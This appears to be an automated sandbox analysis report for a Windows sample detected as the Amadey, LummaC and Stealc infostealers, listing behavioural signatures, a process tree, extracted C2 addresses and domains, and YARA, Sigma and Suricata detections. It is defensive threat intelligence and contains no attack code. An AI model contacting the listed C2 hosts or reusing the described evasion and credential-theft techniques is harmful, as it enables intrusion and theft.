Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546670
MD5:	436ec8e845cbb9bcd7098b37be1c0610
SHA1:	5149fff99b5fef0018f704566908816d838c064c
SHA256:	e80171fd5b32206e71fed542c3cae3055217f5f590faf8daa155b4a362942e65
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4300 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 436EC8E845CBB9BCD7098B37BE1C0610)

axplong.exe (PID: 5448 cmdline: "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: 436EC8E845CBB9BCD7098B37BE1C0610)

axplong.exe (PID: 2092 cmdline: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe MD5: 436EC8E845CBB9BCD7098B37BE1C0610)

b02ca6c530.exe (PID: 640 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe" MD5: E71C5AEE12EE323FC4F40010437D4186)

59d7339838.exe (PID: 6108 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe" MD5: EA1B8BAFCB99BC660562BCB5F4CB63F3)

K73CAIXQZ7ROMEX8OQ5J7.exe (PID: 6892 cmdline: "C:\Users\user~1\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe" MD5: A2A68D9FBC4EAF04D07B8DD2E41837B2)

WBQBXT7R0KIHGBUKORZPTVE39I.exe (PID: 3492 cmdline: "C:\Users\user~1\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe" MD5: 36F337DF5AF6FC1D820E0F111A73C352)

skotes.exe (PID: 2912 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 36F337DF5AF6FC1D820E0F111A73C352)

skotes.exe (PID: 3628 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 36F337DF5AF6FC1D820E0F111A73C352)

skotes.exe (PID: 5576 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 36F337DF5AF6FC1D820E0F111A73C352)

BDDBC4BP671F32YA9Q.exe (PID: 924 cmdline: "C:\Users\user~1\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe" MD5: A2A68D9FBC4EAF04D07B8DD2E41837B2)

5708637e68.exe (PID: 3252 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001698001\5708637e68.exe" MD5: 436EC8E845CBB9BCD7098B37BE1C0610)

e62942d11f.exe (PID: 2392 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001735001\e62942d11f.exe" MD5: A2A68D9FBC4EAF04D07B8DD2E41837B2)

7c247f0fb6.exe (PID: 3512 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001776101\7c247f0fb6.exe" MD5: A2A68D9FBC4EAF04D07B8DD2E41837B2)

b02ca6c530.exe (PID: 5256 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe" MD5: E71C5AEE12EE323FC4F40010437D4186)

59d7339838.exe (PID: 1468 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe" MD5: EA1B8BAFCB99BC660562BCB5F4CB63F3)

b02ca6c530.exe (PID: 6112 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe" MD5: E71C5AEE12EE323FC4F40010437D4186)

skotes.exe (PID: 6388 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 36F337DF5AF6FC1D820E0F111A73C352)

59d7339838.exe (PID: 3284 cmdline: "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe" MD5: EA1B8BAFCB99BC660562BCB5F4CB63F3)

skotes.exe (PID: 5912 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 36F337DF5AF6FC1D820E0F111A73C352)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "necklacedmny.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000003.1990105604.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000003.2169557831.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2288903484.0000000001474000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2136389185.0000000001520000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2210091769.0000000000981000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2148673061.0000000001527000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2317531609.0000000001477000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2333235282.0000000001477000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2029520932.00000000052E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.2509990782.0000000000CE1000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2118027431.0000000001524000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2219974455.0000000005160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2156814063.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1442483966.0000000000F61000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2117576190.0000000001520000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2211768610.00000000001D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2615749927.00000000009A1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2289983992.0000000001477000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2302670102.000000000147A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1402212473.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2305099490.0000000001478000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2136535617.0000000001527000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2181932991.000000000153B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1818728444.0000000005790000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.1921852326.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.1913143748.00000000001D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2223111924.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1413497554.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2133263162.0000000001527000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2156560425.0000000001527000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2468886647.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2417909672.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2316927566.0000000001477000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2264094554.00000000009A1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2119173963.0000000001525000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2181755430.000000000152D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2303017992.0000000001477000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2335735123.0000000001478000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1373203647.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2318704557.0000000001476000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2049326377.00000000001D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2335940997.0000000001478000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2173330591.0000000001527000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2221405720.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2459308104.00000000009A1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.1872114375.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2133170894.0000000001525000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b02ca6c530.exe PID: 640	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b02ca6c530.exe PID: 640	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 59d7339838.exe PID: 6108	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 59d7339838.exe PID: 6108	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 59d7339838.exe PID: 6108	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b02ca6c530.exe PID: 5256	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b02ca6c530.exe PID: 5256	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 59d7339838.exe PID: 1468	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 59d7339838.exe PID: 1468	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 59d7339838.exe PID: 1468	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b02ca6c530.exe PID: 6112	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b02ca6c530.exe PID: 6112	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 59d7339838.exe PID: 3284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 59d7339838.exe PID: 3284	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: skotes.exe PID: 5576	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: skotes.exe PID: 5576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: skotes.exe PID: 5576	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 63 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.WBQBXT7R0KIHGBUKORZPTVE39I.exe.980000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.b02ca6c530.exe.1d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
21.2.skotes.exe.9a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.9a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.9a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.b02ca6c530.exe.1d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.b02ca6c530.exe.1d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.axplong.exe.f60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.5708637e68.exe.ce0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.axplong.exe.f60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 2092, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b02ca6c530.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 2092, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b02ca6c530.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4300, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe" , ProcessId: 5448, ProcessName: axplong.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:33:33.858170+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.7	49782	TCP
2024-11-01T12:34:12.131499+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.7	49974	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:14.328629+0100	2028371	3	Unknown Traffic	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:15.778278+0100	2028371	3	Unknown Traffic	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:17.155449+0100	2028371	3	Unknown Traffic	192.168.2.7	49982	188.114.96.3	443	TCP
2024-11-01T12:34:18.785410+0100	2028371	3	Unknown Traffic	192.168.2.7	49984	188.114.96.3	443	TCP
2024-11-01T12:34:21.261557+0100	2028371	3	Unknown Traffic	192.168.2.7	49986	188.114.96.3	443	TCP
2024-11-01T12:34:23.707899+0100	2028371	3	Unknown Traffic	192.168.2.7	49990	188.114.96.3	443	TCP
2024-11-01T12:34:25.808862+0100	2028371	3	Unknown Traffic	192.168.2.7	49992	188.114.96.3	443	TCP
2024-11-01T12:34:28.197068+0100	2028371	3	Unknown Traffic	192.168.2.7	49995	188.114.96.3	443	TCP
2024-11-01T12:34:29.569740+0100	2028371	3	Unknown Traffic	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:30.860059+0100	2028371	3	Unknown Traffic	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:32.488084+0100	2028371	3	Unknown Traffic	192.168.2.7	50002	188.114.96.3	443	TCP
2024-11-01T12:34:34.232140+0100	2028371	3	Unknown Traffic	192.168.2.7	50004	188.114.96.3	443	TCP
2024-11-01T12:34:36.561775+0100	2028371	3	Unknown Traffic	192.168.2.7	50007	188.114.96.3	443	TCP
2024-11-01T12:34:38.977124+0100	2028371	3	Unknown Traffic	192.168.2.7	50009	188.114.96.3	443	TCP
2024-11-01T12:34:42.303330+0100	2028371	3	Unknown Traffic	192.168.2.7	50014	188.114.96.3	443	TCP
2024-11-01T12:34:44.895979+0100	2028371	3	Unknown Traffic	192.168.2.7	50018	188.114.96.3	443	TCP
2024-11-01T12:34:47.041985+0100	2028371	3	Unknown Traffic	192.168.2.7	50020	188.114.96.3	443	TCP
2024-11-01T12:34:48.264931+0100	2028371	3	Unknown Traffic	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:34:49.666140+0100	2028371	3	Unknown Traffic	192.168.2.7	50026	188.114.96.3	443	TCP
2024-11-01T12:34:51.078161+0100	2028371	3	Unknown Traffic	192.168.2.7	50028	188.114.96.3	443	TCP
2024-11-01T12:34:52.607975+0100	2028371	3	Unknown Traffic	192.168.2.7	50031	188.114.96.3	443	TCP
2024-11-01T12:34:54.249437+0100	2028371	3	Unknown Traffic	192.168.2.7	50035	188.114.96.3	443	TCP
2024-11-01T12:34:55.904340+0100	2028371	3	Unknown Traffic	192.168.2.7	50037	188.114.96.3	443	TCP
2024-11-01T12:34:58.317789+0100	2028371	3	Unknown Traffic	192.168.2.7	50041	188.114.96.3	443	TCP
2024-11-01T12:34:58.545235+0100	2028371	3	Unknown Traffic	192.168.2.7	50042	188.114.96.3	443	TCP
2024-11-01T12:34:59.797937+0100	2028371	3	Unknown Traffic	192.168.2.7	50045	188.114.96.3	443	TCP
2024-11-01T12:35:01.217494+0100	2028371	3	Unknown Traffic	192.168.2.7	50047	188.114.96.3	443	TCP
2024-11-01T12:35:02.987908+0100	2028371	3	Unknown Traffic	192.168.2.7	50049	188.114.96.3	443	TCP
2024-11-01T12:35:04.575441+0100	2028371	3	Unknown Traffic	192.168.2.7	50051	188.114.96.3	443	TCP
2024-11-01T12:35:07.288866+0100	2028371	3	Unknown Traffic	192.168.2.7	50055	188.114.96.3	443	TCP
2024-11-01T12:35:09.288350+0100	2028371	3	Unknown Traffic	192.168.2.7	50059	188.114.96.3	443	TCP
2024-11-01T12:35:12.157477+0100	2028371	3	Unknown Traffic	192.168.2.7	50063	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:15.061850+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:16.279963+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:28.696031+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49995	188.114.96.3	443	TCP
2024-11-01T12:34:30.107780+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:31.597429+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:47.548271+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50020	188.114.96.3	443	TCP
2024-11-01T12:34:48.609669+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:34:59.086774+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50042	188.114.96.3	443	TCP
2024-11-01T12:35:00.236840+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50045	188.114.96.3	443	TCP
2024-11-01T12:35:12.826725+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50063	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:34:15.061850+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:30.107780+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:47.548271+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50020	188.114.96.3	443	TCP
